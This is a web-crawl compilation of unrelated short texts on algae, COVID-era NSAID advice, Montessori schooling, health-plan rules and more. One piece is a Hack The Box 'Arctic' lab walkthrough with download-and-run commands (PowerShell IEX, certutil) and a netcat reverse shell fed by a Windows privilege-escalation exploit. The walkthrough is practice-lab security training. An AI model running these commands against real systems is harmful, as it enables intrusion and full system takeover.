Most species of algae are so tiny they are visible only under a microscope. However, algae may group, bunch, cluster or grow in formations that are visible and edible. Algae typically are heavier than water and settle, creating a layer of green snow on the bottom of a pond. Algae's green solar energy fuels growth for trillions of organisms daily as algae's stored energy moves up the food chain.
Marine algae called seaweeds or macroalgae often grow into forms that have the appearance of land plants with pseudo roots, trunks and leaves. This parallel evolution enables marine algae to grow to sizes as large as trees. Macroalgae are often eaten directly by fish and mammals such as sea otters, manatees, dolphins and whales. Macroalgae provide a variety of bright colors for the oceans and far more biomass than herbivores can eat.
Algae grow in forests under the polar ice caps, in soils under glaciers, in the hottest and driest deserts as well as in pools, aquariums and water ways. Algae's simplicity enables these plants to be incredibly robust; they not only survive but produce high-value biomass in extremely tough environments. The toughest environments existing on Earth today probably seem tame to a plant that survived the harsh environmental conditions billions of years ago.
Algae use plentiful and often surplus inputs, including sunshine, CO2, and waste, brine or ocean water. Algae photosynthesis strips CO2 and nutrients from the surrounding water and produces plant biomass made up of various forms of lipids (oils), protein and carbohydrates. The process releases considerable pure oxygen to the atmosphere.
Algae serve as a major food source for many organisms in natural settings with no human cultivation. Wild algae growing in natural settings produce incredibly fast biomass growth but are neither reliable nor sustainable because production typically crashes due to either nutrient limitation or predator attack. Cultivating algae in ponds, troughs or containers enables significant productivity improvements over wild algae because sufficient nutrients can be provided and predators managed or avoided.
The most common nutrient limitation in natural settings occurs from carbon, nitrogen or phosphorus. Inorganic nutrients, such as nitrogen, are available only to the degree that they are available as free ions, diluted in the water. However, algae can quickly consume the available ions in natural settings such as lagoons. Again, algae adapted strategically, and many species have the ability to consume organic nutrients from biological biomass or other waste.
Humble algae saved our planet by sequestering two pounds of CO2 in every pound of algal biomass. Today, our atmosphere and oceans carry massive amounts of CO2 from human caused fossil fuel pollution. Algae may play a role in saving our planet again by reducing the atmospheric carbon load. Algae can also reduce greenhouse gases by producing carbon-neutral liquid transportation fuels that recycle atmospheric carbon while displacing fossil transportation fuels. Carbon neutral fuels are made with algae feedstock when the cultivation, harvest and refining energy comes from renewable sources such as solar, wind, waves, geothermal or algal oil.
Algal fuels offer a significant advantage in that they burn cleanly, without black soot particulates. The black soot pollution that causes lung disease, respiratory illness and cancer came from the fossilization of algae into crude oil, coal and shale over 400 million years. Algal fuels are produced in a matter of weeks and are not fossilized, so they burn clean similar to their land-based cousins — vegetable oil.
Algae promise to provide much-needed solutions for our increasingly hot, crowded, hungry and energy consumptive societies. The opportunity before us is to cultivate algae in a manner that engages people globally to produce sustainable and affordable food and energy for their family and community needs locally.
by Dr. Mark Edwards
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Superprotein is a rapidly axonally transported protein that is conspicuously labeled with 35S-methionine supplied to the cell bodies of retinal ganglion cells. Superprotein candidates are apparent among the rapidly transported proteins of many neurons from the CNS and PNS, including cranial, sympathetic, sensory, and motor neurons from mammals, fish, and amphibians. To determine the identity of Superprotein, we purified it from rabbit visual system and spinal cord and determined the amino acid sequence of seven of its tryptic peptides. The sequence shows that Superprotein is SNAP-25, a protein recently predicted from a cDNA sequence; SNAP-25 has been reported to be concentrated in the synaptic terminals of a selected population of CNS neurons. We measured the amount of radioactivity associated with Superprotein in tissue containing axons (optic tract) and synaptic terminals (superior collicules) of rabbit retinal ganglion cells. Labeled Superprotein disappeared from the superior colliculus more rapidly than another protein (synapsin I-like protein) that is concentrated in synaptic terminals. These results serve to unite the observations on the synthesis, distribution, metabolism, and axonal transport of Superprotein with observations of SNAP-25 and its mRNA. | <urn:uuid:e815a10d-1579-4db3-b338-691be8d699d7> | CC-MAIN-2022-33 | https://www.scienceopen.com/document?vid=ce60cf2c-0b55-4bf7-8027-b7ace8c39cb4 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571210.98/warc/CC-MAIN-20220810191850-20220810221850-00465.warc.gz | en | 0.924479 | 255 | 2.671875 | 3 |
Quebec’s Superior Court is upholding most of the province’s secularism law, known as Bill 21, which includes a ban on religious symbols worn by government workers.
Quebec’s secularism law is largely legal, the court ruled Tuesday, even as he acknowledged it violates the rights of Muslim women and has cruel and dehumanizing consequences for those who wear religious symbols.
In a 240-page ruling, Blanchard concluded that the law, known as Bill 21 “does not violate the Canadian constitutional architecture.”
Mike Armstrong explains which parts of the controversial law were struck down.
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What is Corporate Wellness?
Corporate wellness programs are programs and activities sponsored and paid for by an employer to help promote work-life balance, mental and emotional well-being and create a culture of happy employees. Most Americans will spend over a third of their lives at work. Creating a work culture that supports work-life balance, stress management, both inside and out of the office, is becoming the standard. According to the American Psychological Association, 58% of Americans say that work is a significant source of stress. The responsibility of managing that stress is no longer solely put upon the employee. Employers of all sizes and budgets now understand that helping their employees manage that stress is key to retaining them, increasing productivity, and work satisfaction.
Benefits of Meditation in the Workplace
- Reduces stress & anxiety
- Less sick days taken
- Reduces healthcare costs
- Retains employees longer
- Boosts creativity
- Strengthens focus and productivity
- Creates stronger social bonds
- Improves learning & memory
- Develops greater self-awareness
- Feel happier
- Supports mental and physical health
- Increases immunity
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Max Ehrmann, 1927
In whatever religion you have been taught, however you have been brought up, and however you have understood your Teachers, on these levels you will understand this message. It is not enough that this message be believed. It is a message to be lived. The essence of Universal Religion is Peace and Truth, with Love for and Kindness to all the creatures of the earth. Now is the time to express this essence in your own life. A beginning must be made, and the place to begin is with and in yourself. You would reform the world? Begin with yourself, brother! The message of the unreformed reformer seldom inspires reformation. The heart of all Religion is love. And righteousness, which is love in action, is the fulfillment of Peace within yourself, and seek too, within yourself, the divine Breath of Life. Persist in these things! Do not let up for a single moment! Through your faith and through your deeds you shape your life, and help shape the lives of others, as well. What a responsibility! The Spirit finds in you its agent and also its partner, and to the degree that you are aware of this and act on it, your life is enriched. A revelation will occur to you -- a revelation higher than your most exalted dreams. A New Age is coming, and with it there will be a realization of the Oneness of All. Differences between the various religions will disappear. The good, which is in each of them, will be fused and will become the common goal of all mankind. Know that you have the power to choose! Choose love, not hate; choose gentleness, not violence; choose holiness, not evil! Dare to believe that the reign of love and peace is coming soon! Ready yourself for it! Ready yourself for it with deeds of righteousness. Righteousness is the door-opener, and beyond the door is Love. May Power Divine enter every aspect of your life, endowing it with the rewards of material accomplishments, the treasures of purposeful existence, and the eternal light of Spiritual achievenent.
Copyright © 1927 Max Ehrmann. All rights reserved.
Copyright renewed 1954 Bertha K. Ehrmann.
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Max Ehrmann's Desiderata One
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Nancy A. Melville
March 17, 2020
A warning from French health officials suggests that grave adverse events have been reported with the use of nonsteroidal anti-inflammatory drugs (NSAIDs), such as ibuprofen, in patients with COVID-19, and they recommend treatment instead with acetaminophen.
But many physicians, particularly outside of France, reacted on social networks saying there is currently insufficient evidence for such a recommendation.
The Spanish Ministry of Health agreed, stating on Sunday that there is no evidence that ibuprofen (or other NSAIDs) makes COVID-19 infection worse.
And British physicians broadly agreed, although they say acetaminophen is a better choice for infection in general.
And one US expert says evidence of risks to people with COVID-19 beyond those already well-known with infections in general and NSAIDs have not been established.
On March 14, the French government reported "serious adverse events" associated with NSAIDs in people with COVID-19. Soon after, the French Health Minister Olivier Véran tweeted that "taking anti-inflammatory drugs (ibuprofen, cortisone...) could be an aggravating factor of the [COVID-19] infection."
"If you have a fever, take paracetamol," he tweeted. "If you are already on anti-inflammatory drugs or in doubt, ask your doctor for advice."
Paracetamol is a generic term for acetaminophen commonly used outside the United States.
In a statement on its website, Reckitt Benckiser, manufacturer of the Nurofen brand of ibuprofen, said: "Appropriate use of ibuprofen and paracetamol is still currently being recommended by most European health authorities as part of the symptomatic treatment of COVID-19. Reckitt Benckiser is not aware of any evidence that ibuprofen adversely impacts the outcome in patients suffering from COVID-19 infection."
The company "has neither received new safety information nor been involved in the evaluation of any adverse events regarding the use of ibuprofen in COVID-19," it adds.
"As with any medicine, we would remind consumers and their caregivers to carefully read and follow the instructions provided on the packaging and in the patient information leaflet."
No Evidence of Any Unique Risk of NSAIDs in COVID-19
Gregory Poland, MD, a professor of medicine and infectious disease and director of the Vaccine Research Group at the Mayo Clinic, in Rochester, Minnesota, said that, without clarification of any new data detailing effects, additional risks of NSAIDs related to COVID-19 are questionable.
Poland told Medscape Medical News: "I think there is far inadequate information to make a blanket statement like that [which the French Health Minister has made]."
NSAIDs, often recommended to relieve fever and symptoms of influenza as well as COVID-19, are well-known to have potential adverse effects on the stomach and kidneys in the very groups considered at higher risk of COVID-19 -- older patients and those with comorbidities or compromised immune systems. In those patients, acetaminophen is commonly recommended as an alternative to treatment of fever anyhow.
"I think what [the French] are recommending is an overextension of the known concerns," Poland observed.
"I know of no published data on the use of NSAIDs with COVID-19 that represents any sort of unique risk," he stressed.
Poland cautioned against a rush to draw conclusions in times when stress and panic are exceptionally high. He relayed a report from a colleague in which four severe COVID-19 cases were described as being among patients who were taking NSAIDs, seeming to draw an association between the two.
"There was an inappropriate inference of cause and effect," he said. "This is a mistake we commonly see — people will assume causality and more often than not, it's not the case."
Meanwhile, the Spanish Ministry of Health, while stressing there is no evidence that NSAIDs makes COVID-19 infection worse, did state, however, that ibuprofen package inserts mention that the use of the drug might mask the symptoms of infections, which could delay diagnosis and cause them to be diagnosed in more severe stages.
They emphasize, however, that this refers to infections in general, not specifically to COVID-19.
The Spanish ministry adds that it is nevertheless looking further into the issue of NSAIDs and COVID-19 and will publish its findings by May 2020.
French Experts Stand Their Ground
But in exclusive interviews with Medscape France, a rheumatologist and an infectious disease expert gave their take on the stance of their health ministry.
Francis Berenbaum, MD, PhD, a rheumatologist at Saint-Antoine Hospital in Paris told Medscape France that in patients with rheumatological diseases who are on long-term treatment with NSAIDs therapy should not be stopped unless a patient starts having COVID-19 symptoms such as fever.
For other people, if they develop a fever and COVID-19 symptoms, they should not take NSAIDs because it can worsen the disease (although he acknowledges this is also known in several other viral diseases including flu), so it's better to take paracetamol unless there is a liver condition that prevents the latter.
Meanwhile, Christian Perronne, MD, PhD, an infectious disease specialist in Garches, France, told Medscape France he believes the advice to avoid NSAIDs in COVID-19 infection is common sense.
Perronne told Medscape Medical News he has not personally witnessed cases of COVID-19 worsening with NSAIDs, noting that there is not, as yet, enough perspective in France, but said this has been demonstrated by Chinese results.
NSAIDs are not suitable for respiratory infections, he stressed. He said he never gives NSAIDs in principle in respiratory infections, only in exceptional cases, when you cannot do otherwise.
An investigation requested by the French National Agency for the Safety of Medicines and Health Products (ANSM) last year confirmed that NSAIDs can have an aggravating role in the event of severe infection, Perronne stressed, noting it stated in a press release last April of a risk of serious infectious complications, causing hospitalizations, sequelae, or even death, with NSAID use in such instances.
Of note, France has tighter restrictions on the sale of NSAIDs than other countries, and beginning this year, the products, including paracetamol and ibuprofen, are no longer available over-the-counter in the country.
UK: Acetaminophen Better for Some, But Not Necessarily Due to COVID-19
Meanwhile, UK experts agree that acetaminophen is a preferable choice over NSAIDs in those at risk for COVID-19 because of the known safety reasons.
"There is a good reason to avoid ibuprofen as it may exacerbate acute kidney injury brought on by any severe illness, including severe COVID-19 disease," Rupert Beale, MB, PhD, group leader in cell biology of infection at the Francis Crick Institute, London, UK, told the UK Science Media Center. But, he added, "There isn't yet any widely accepted additional reason to avoid it for COVID-19."
Tom Wingfield, PhD, a senior clinical lecturer and honorary consultant physician with the Liverpool School of Tropical Medicine, UK, agreed.
"In the UK, paracetamol would generally be preferred over NSAIDs such as ibuprofen to relieve symptoms caused by infection such as fever," he told the UK Science Media Center.
"This is because, when taken according to the manufacturer's and/or a health professional's instructions in terms of timing and maximum dosage, it is less likely to cause side effects."
He underscored that more clarity is needed to determine the significance of the message from the French Health Ministry regarding the effect of NSAIDs on COVID-19.
"It is not clear from the French Minister's comments whether the advice given is generic 'good practice' guidance or specifically related to data emerging from cases of COVID-19, but this might become clear in due course," Wingfield said.
Corticosteroids and COVID-19
Poland noted that the French Health Ministry also recommends against the use of cortisone in COVID-19, which is consistent with recommendations by the World Health Organization and Centers for Disease Control and Prevention.
"Corticosteroids, though having a different mechanism of action than NSAIDs, are still noninflammatory and therefore seem [ideal] to use in an inflammatory disease," he explained.
"But the reasons for the recommendation against them is the observation that with SARS I, they not only did not improve the clinical course, but in fact appeared to have short-term and mid-term adverse effects in delaying viral clearance," Poland said.
However, experts recommend that patients taking cortisone or other steroids for chronic diseases should not stop them, except on advice from their physician. This advice was reiterated by the French rheumatologist Berenbaus in his interview with Medscape Medical News.
Poland has reported no relevant financial relationships.
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Organizations spend huge sums of money on the consumption of energy. But energy resources have been extremely scarce on our planet which is a matter of severe concern. Another concern is the price volatility which has been a source of trouble for the business. Due to this, managing and conserving a huge amount of energy has become the trending lifestyles of the industry. There has been a large amount of attention given to saving energies for a better future.
What is ISO 50001?
For the same purpose, IS0 50001 was set up. ISP 50001 supports the organisations of all the sectors thoroughly to use the energy resources efficiently and effectively with the help of (EnMS)- energy management system. IS0 50001 runs on a continuous management model which aims at regular improvement. It overall makes the organisations apply energy conservation in an easier and efficient way. It helps the organisation to integrate the energy management in the overall running of the organisation which in return helps in improving the quality as well.
ISO 50001 gives a framework to the organizations to:
Brainstorm and develop a thorough policy for the efficient and effective use of energy.
Fix the various objectives and targets in such a manner which incline towards achieving maximum business targets in coordination with the use of energy.
Use the research and the raw data to make decisions which will help in efficient and informed decisions.
Measure the results properly to seek a comparison.
Do a thorough review of how the policies worked and what all changes are needed.
Why Ascent Lanka as an ideal choice?
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The City of Greater Geelong’s new Urban Forest Dashboard will make the details of over 165,000 council-managed trees, including age, species, health and size publically available in honour of National Tree Day.
The dashboard features a map of Greater Geelong, which allows users to zoom in and select a tree to reveal specific information.
The new dashboard was delivered under the Smart City Strategic Framework to improve data-driven decision making and increase the Council’s our ability to plan, monitor, predict and manage the local environment.
City of Greater Geelong Mayor, Cr Peter Murrihy, said the project would offer greater transparency in decision making and celebrate the continued work of council staff.
“The Urban Forest Dashboard is a way to share with the community the work we do every day to make Greater Geelong a greener, cooler and more liveable city,“ Mayor Murrihy said.
“Trees cool our streets, absorb carbon, provide habitat and bring beauty to our parks and streets.
“Transparent decision making is important, so we want everyone to be able to access information about where trees have been planted, their age, species and how they are performing.“
City Works Parks and Gardens Chair, Cr Anthony Aitken, said he was proud to have shared this information with the community.
“Trees are so important to our community. From the lemon scented gums planted along Brougham Street, to the beautiful Cypress trees you can see across the Bellarine, to the remnant River Red Gums that line the Barwon River,“ Cr Aitken said.
“We’re really proud to manage these beautiful trees on behalf of our community and to share our data with other agencies, researchers, policy-makers and citizen-scientists.“
Australia’s largest tree planting and nature care event, National Tree Day, will be held on Sunday 31 July 2022.
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NOTE: This storybook includes a read-aloud option with synchronized word highlighting which is accessible on ISO devices.
Thinking with Your Eyes: Adventure in Space (storybook 3 of 10)
Blast off with the gang to an alien planet in outer space. In storybook 3 of the We Thinkers! Vol. 1 social emotional learning curriculum for ages 4-7, Molly, Evan, Jesse, and Ellie learn how to communicate with friendly aliens by thinking with their eyes since they don’t speak Bleep! Bleep! Bloop! They quickly learn that our eyes are like arrows that point to what we are looking at and probably thinking about, too. They figure out what the aliens might be thinking and feeling by using their eyes to follow what the alien’s eyes are pointed toward and the expression on its face. It’s so much fun to figure out what’s going on in a situation, communicate, and make new friends—all by using our eyes! Continue building on this important social concept with the fundamental concepts taught in storybooks 4-10, which align with the corresponding teaching units within the related curriculum. Best practice: teach these concepts in order, starting with storybook 1 of 10, and using the corresponding curriculum. | <urn:uuid:f957d44d-54ee-4541-a737-4731519e8afe> | CC-MAIN-2022-33 | https://books.apple.com/us/book/thinking-with-your-eyes/id1552786860?ls=1 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570793.14/warc/CC-MAIN-20220808092125-20220808122125-00665.warc.gz | en | 0.931097 | 270 | 3.96875 | 4 |
Arctic is an easy Windows box. It can be exploited by navigating to an odd port in the browser and finding out that ColdFusion is running. A directory traversal can be abused to obtain an encrypted password. The password was cracked and administrative access was obtained. ColdFusion enables you to run scheduled tasks, this was used to retrieve a JSP reverse shell which provided initial access. Sherlock was executed and found several supposedly vulnerable exploits. In this case MS16-032 was used to obtain a reverse shell as SYSTEM.
Started off by running NmapAutomator.
Nmap discovered the following open ports and services:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The automated nmap script did not discover any useful exploits. The only interesting port here is 8500. When opening a Netcat session nothing is retrieved. It was then attempted to open in the browser which very slowly opened a directory listing. Navigating to admin, the following page is shown:
Searchsploit was used to obtain public exploits:
This highlighted vulnerability was checked. It turned out to be a directory traversal that shows the encrypted password:
When putting the hash into crackstation.net, it found that the password is happyday. Next, ColdFusion can be abused by starting a scheduled task. First, go to Mappings, this shows the directory path which is required:
Then navigate to Scheduled tasks and add the following:
Note that JSP was used since .cfm is awfully slow. Google confirmed that you can use JSP in Coldfusion.
After this you will receive the following request:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.101.17 - - [21/Feb/2021 19:44:05] "GET /jsp-reverse.jsp HTTP/1.1" 200 -
Now you can open a listener and send a curl request:
This provides a shell as the user tolis.
I downloaded Sherlock with the following command:
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.147/Sherlock.ps1')
It found several supposedly vulnerabilities:
Title : ClientCopyImage Win32k MSBulletin : MS15-051 CVEID : 2015-1701, 2015-2433 Link : https://www.exploit-db.com/exploits/37367/ VulnStatus : Appears Vulnerable Title : Secondary Logon Handle MSBulletin : MS16-032 CVEID : 2016-0099 Link : https://www.exploit-db.com/exploits/39719/ VulnStatus : Appears Vulnerable
This exploit was used.. It was transferred over with certutil:
certutil.exe -urlcache -split -f http://10.10.14.147/ms15-051x64.exe
The same method was used to transfer over nc64.exe. The folowing command was run:
C:\Users\tolis\Desktop>ms15-051x64.exe "C:\Users\tolis\Desktop\nc64.exe -e cmd 10.10.14.147 1339"
This provided a system shell:
nc -nvlp 1339 listening on [any] 1339 ... connect to [10.10.14.147] from (UNKNOWN) [10.129.101.17] 50132 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\tolis\Desktop>whoami whoami nt authority\system
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There are instances where an existing structure may have to be pulled down and replaced with a much stronger one with better structural integrity. Remove & Replace can typically be used for any of the following instances:
• Replacing a wooden structure with concrete
• Replacing any weakened block/concrete structure with a stronger concrete structure
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We were recently introduced to KiwiCo and their rather wonderful monthly subscription boxes. Each box contains a hands-on project that encourages creative thinking, and there are a range of lines to chose from, depending on the age and interests of your child.
I chose the Tinker Crate for Rose; it’s aimed at children aged 9-16 years old & contains a hands-on STEM (science, technology, engineering and mathematics) project.
Our box arrived promptly and contained all the materials to create a planetarium. All we needed to add was a pair of scissors. Even the batteries were included! This box was perfect for Rose and she couldn’t wait to get started.
The box also included: detailed step-by-step instructions, the Tinker Zine (a smashing zine containing additional science experiments and activities) and a link to the video tutorial for the planetarium. This was invaluable for us. Rose has dyslexia, so this made the project more manageable and stress free for her.
She very much enjoyed building the planetarium, though it certainly had it’s close calls when things didn’t go as she had expected they should. I was thrilled though to see her persevere and she was delighted with the finished planetarium, which was nice and sturdy, and lit up beautifully. The Tinker Crate was a success for us, and I would highly recommend it. Rose was asking for the next box all the way through building the planetarium! As a mum to a child who faces various learning challenges, this was music to my ears. We have not always had the best experiences with subscription boxes in the past; issues such as extra things I needed to buy, so we couldn’t be as spontaneous, the instructions being in small type, or projects being a little flimsy, or not working out as expected, but the Tinker Crate met our needs perfectly. | <urn:uuid:dfcbeb86-3169-47d6-be7a-f3c993e67784> | CC-MAIN-2022-33 | https://raisinglittleshoots.com/2018/03/07/9589/?replytocom=2727 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.979704 | 392 | 1.945313 | 2 |
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Montessori education starts at age three. Developmentally your child is ready when their interest goes beyond toys and they are beginning to count and learn their ABCs. Parents often wait too long. The child needs these experiences to allow success in their second year of Montessori education. Read more “Why it is Vital to Start Your child’s Montessori Education at 3 Years Old“
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“There are many who hold, as I do, that the most important period of life is not the age of university studies, but the first one, the period from birth to the age of six. For that is the time when man’s intelligence itself, his greatest implement, is being formed.”
Dr. Maria Montessori, The Absorbent Mind
At Four Seasons Montessori Preschool and Kindergarten our focus is to provide a caring and respectful educational experience for every child. Our program is committed to the Montessori curriculum. Each classroom is led by an Montessori trained teacher in a prepared environment equipped with certified Montessori materials with which the children may explore, be creative, build independence and gain a strong sense of self. Our goal is to work together with parents to build a strong community that ensures every child has the foundation for a life-long love of learning.
3 hour work cycle
If you’ve ever wondered what happens during a 3-hour work cycle in a Montessori school, don’t miss watching this 5-minute stop-motion video. It gives a fabulous glimpse into one child’s Montessori morning. The child in the video is 4 years old and is shown throughout his morning at Dundas Valley Montessori School in Ontario, Canada.
Living Montessori: The Parent Perspective
What makes Montessori education unique and desirable to families around the world? Hear from parents, in their own words, why they chose Montessori education for their children.
This Video was created by the American Montessori Society and gives a great perspective from the parents’ point of view.
Free Sneak peak at Maren Schmidt’s Video course
Every parent at Four Seasons Montessori has the amazing opportunity to take this unique online course, “Seeing Your Child The Montessori Way” by renowned Montessorian Maren Schmidt. Click on the link to have access to a free preview.
Learn more about Maren Schmidt
Four Seasons Montessori Preschool and Kindergarten is an established school located on a forested Seven-acre lot along Hammond Bay Road. We provide a variety of programs to meet the needs of children aged 3 to 6 including; Preschool, All Day Montessori with Preschool, and Kindergarten. Our Montessori-trained staff, whose credentials meet provincial standards, bring their passion for teaching to this vibrant school community. Our school is unique in the infusion of enrichment programs that complement our Montessori curriculum. We offer three, four and five day options and a competitively priced tuition package.
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08 Aug What do the DOL’s new AHP rules actually mean?
Do you know what the Department of Labor’s (DOL) new Association Health Plan (AHP) rules mean? In this article, Beinecke explains what they mean.
President Trump signed an Executive Order on October 12, 2017 directing the U.S. Department of Labor to consider ways to make it easier to form an Association Health Plan by expanding existing membership rules. After issuing proposed regulations in early 2018 and considering public comments, the DOL issued a set of final regulations intended to make it easier to form AHPs on June 18, 2018.
The final regulations do not replace the existing AHP rules. Instead, they create a three-tier AHP system referred to in this article as the:
Narrow Standard AHP: These AHPs are available under the existing rules, but they can be difficult to form.
Relaxed Standard AHP: These AHPs are created by the new regulations. They are easier to form than a Narrow Standard AHP and can allow self-employed individuals to participate, but they do not allow as much flexibility in terms of plan design and underwriting (discussed in the chart below under “Plan Design and Underwriting”).
Non-Conforming AHPs: These are AHPs that do not meet either the Narrow or Relaxed Standards. We’ll touch on these briefly at the end of this article.
What are the Pros and Cons for Narrow and Relaxed Standard AHPs?
- The combined membership of the member employers may enable the AHP to self-insure
- Qualify as single employer group health plans for ERISA and other purposes, enabling many fully-insured AHPs to qualify as a large group insured plan based upon the number of covered lives
- Self-insured and large group insured AHPs are able to avoid certain requirements applicable to small group and individual plans under federal and state law, including:
o The requirement to offer all essential health benefits (EHB) mandated by a state’s EHB package (the AHP will still have establish a reasonable definition for EHBs such as selecting a benchmark plan); and
o Community rating requirements. This may enable AHPs to offer less expensive coverage alternatives to member employers as well as greater flexibility when setting premiums (but see “Plan Design and Underwriting” in the chart below)
- Greater buying power than individual member employers may have on their own
- The AHP’s risk pool may be more favorable for smaller employers than the community rating in their applicable small group market(s)
- Not appropriate for many potential member employers and should be carefully evaluated on a case-by-case basis
- Do not avoid state regulation, even if self-insured
- Require a strong ongoing commitment to participate from member employers as turnover can cause AHPs to quickly fail
- Insurance carriers may be reluctant to insure AHPs that do not meet certain criteria established by the carrier (e.g. The insurance carrier may require a closer relationship between the member employers than the AHP rules require)
AHP odds and ends
AHPs are generally subject to the reporting and disclosure requirements applicable to the underlying benefits, which may include providing summary plan descriptions, summaries of benefits and coverage, and Form 5500 filings. The DOL is still working out how certain other requirements may apply to AHPs. For example, the DOL indicated that existing HIPAA wellness rules apply to AHPs and the Mental Health Parity and Addiction Equity Act will apply if the member employers of the association have at least 50 employees in the aggregate, but the DOL is still considering how COBRA may apply and intends to issue additional guidance addressing this.
Many AHPs will not qualify as Narrow Standard or Relaxed Standard AHPs, typically because the association fails to meet the formation requirements described above. These Non-Conforming AHPs can still provide the advantages of greater purchasing power and the ability to separately experience-rate member employers like Narrow Standard AHPs, but Non-Conforming AHPs do not qualify for single employer plan treatment and are instead viewed as a separate plan maintained by each member employer. As a result, many member employers will still be subject to the small group and individual plan requirements that Narrow Standard and Relaxed Standard AHPs can avoid.
There are three phase-in effective dates under the final regulations:
- Sept. 1, 2018: New or existing associations may establish a fully-insured Relaxed Standard AHP
- Jan. 1, 2019: AHPs in existence on or before June 18, 2018 may establish a self-insured Relaxed Standard AHP.
- April 1, 2019: All other new or existing associations may establish a self-insured Relaxed Standard AHP.
There are no effective dates specific to Narrow Standard or Non-Conforming AHPs as these existed before the final regulations and are not directly affected by them.
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Vitamin D supplements are often recommended for the improvement of bone health, but investigators say the data are unclear whether they prevent fractures.
In the US, an estimated 53.6 million people have osteoporosis, low bone mass, or both, with 2 million osteoporotic fractures occurring each year. According to a new study, the number of annual osteoporotic fractures are projected to surpass 3 million by 2040. Related costs will escalate to more than $95 billion.
Meryl S. Leboff, MD, Brigham and Women’s Hospital, and an investigative team conducted a trial that evaluated the supplemental vitamin D3, n-3 fatty acids, or the combination of both, to determine if they could prevent cancer and cardiovascular disease. The team specifically focused on men 50 years and older, and women 55 years and older in the US.
Vitamin D supplements are often recommended for the improvement of bone health, but investigators said the data are unclear whether they prevent fractures.
For the Vitamin D and Omega-3 Trial (VITAL), the primary end points were incident total, nonvertebral, and hip fractures. Proportional-hazards models were used to estimate the treatment effect in intention-to-treat analyses.
Supplemental vitamin D3 was tested to see if it would result in a lower risk of fractures when compared with placebo. The two-by-two factorial, randomized, controlled trial provided paricipants supplemental vitamin D3 (2000 IU per day), n−3 fatty acids (1 g per day), or both.
Vitamin D deficiency, low bone mass, or osteoporosis was not the basis of recruitment. Participants reported incident fractures on annual questionnaires and the reports were adjudicated by centralized medical-record review.
"Vitamin D3 supplementation did not result in a significantly lower risk of fractures than placebo among generally healthy midlife and older adults who were not selected for vitamin D deficiency, low bone mass, or osteoporosis," investigators stated.
A total of 1991 incident fractures were confirmed in 1551 participants over a median follow-up of 5.3 years. There was no significant improvement with vitamin D when compared with placebo for its impact on total fractures.
There was no modification of the treatment effect according to baseline characteristics, including age, sex, race or ethnic group, body-mass index, or serum 25-hydroxyvitamin D levels. Between-group differences in adverse events, as assessed in the parent trial, were not substantial.
"Findings were similar for secondary end points, which excluded toe, finger, skull, periprosthetic, and pathologic fractures. We also found no effect of supplemental vitamin D3 as compared with placebo on major osteoporotic fractures and other exploratory end points, including pelvic and wrist fractures," investigators wrote.
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Environmental art in Athens: art project for Kifissos river
Whoever asks the Athenians about the Kifissos river hears mainly legendary tales, as Yvonne Senouf and Corinne Weber, the creative minds behind the international art platform MELD’s Project Nero, can testify. Their project for a vanished river aims to deal with urbanisation and pollution creatively
‘In ancient times the rivers in Greek mythology were gods, so super sacred. Today they're no more than dumpsters.’ When Yvonne Senouf begins to talk about the fate of the Kifissos river you can see how much she loves Athens — but also how she suffers from the city. I meet her and Corinne Weber at their home in the Athenian district of Pangrati near the Panathenaic Stadium and the National Gardens. ‘This river has had an involvement in every single problem or issue that this city faces, from ancient times to today,’ adds Yvonne.
As it was covered with concrete for the Olympic games in 2004, the Kifissos can no longer be seen and is no more than an urban myth today. However, the disappearance of the river is not only an aesthetic problem. It also has very concrete consequences, such as a rise in temperature and poorer air quality in the affected areas. While Corinne and Yvonne were unearthing the source of the Kifissos in the collective memory of the Athenians, the idea for Project Nero was born as the first art project of the newly-established interactive art platform MELD, where artists, scholars and activists ‘meld’ in various cultural projects.
Paris, New York, Athens: cradle of an art project 2.0
Outside her front door traffic whooshes past, but Yvonne's apartment, decorated with Indian flower garlands, seems like a green oasis thanks to its small garden. It all began two years ago when Corinne - who has worked as a creative director with Sam Mendes and Alejandro González Iñárritu - wanted to strike a balance again between New York and Paris. A phonecall later, Yvonne was on board as creative concepts producer and moved to Athens shortly afterwards. Skype made the joint brainstorming that lead to the creation of MELD possible. ‘It's an art platform of course, but it's more about a way of life, a way of collaborating and sharing ideas,’ she explains. ‘It is a platform to inspire people for change, through culture, examining climate change, but on an emotional level and in a language that everybody can understand.’
So MELD is not simply an elite club where a few hand-picked artists are able to waste money on multimedia installations, but a vision with a clear political and social agenda. ‘It's about ideas, it's not about making money. It all starts very small, but basically it doesn't matter if we are twenty or fifty people, as long as we really want to make a change.’ Corinne calls it the ‘ripple effect’, as a reference to the Kifissos that began with sporadic short art projects and ultimately could change an entire country. But isn’t it up to politics and the economy to solve the environmental crises of the 21st century? Yvonne and Corinne see it differently. ‘Culture is the basis of change, a sort of catalyst for social change and economic growth. Culture can also be a neutral platform where people coming from different social strata can communicate. It's all about the power of the image. Why do we have to be bombarded by messages that force us to consume and not by poetical messages that help us to change our life?’
Reviving rivers thought to be dead
Project Nero [νερό means ‘water’] is therefore primarily an art project on the ground, which has caused a huge stir in recent months. The whole thing started in Berlin with a few drawings and films by German artist Alexander Schellow on the theme of ‘water’. After an invitation from Yvonne and Corinne he came to Athens and spent hours on end at the course of the former Kifissos river. He then reconstructed the memory of this environment with meticulous pointillist-style drawings that he ultimately put together into short animated films. ‘Drawing is a means of remembering and also changed my perception of certain places,’ says Schellow.
Schellow believes that exchanges with people, mostly immigrants from Albania and Bangladesh, or the Roma who he met on the banks of the Kifissos, is as important as the conversations with scientists, politicians and sociologists. ‘The real work is the process of connecting positions and isolated social classes.’ Schellow does not see himself as a classic environmental artist, but is interested in general in human interaction with spatial structures, which involves not only the environment but also the topic of migration. Yvonne and Corinne are now constantlyorganising small ‘melting pot’ parties in the immigration districts along the Kifissos. Here Albanians, Roma, Kenyans as well as Greeks come together and entertain one another.
Environmentally aware installations
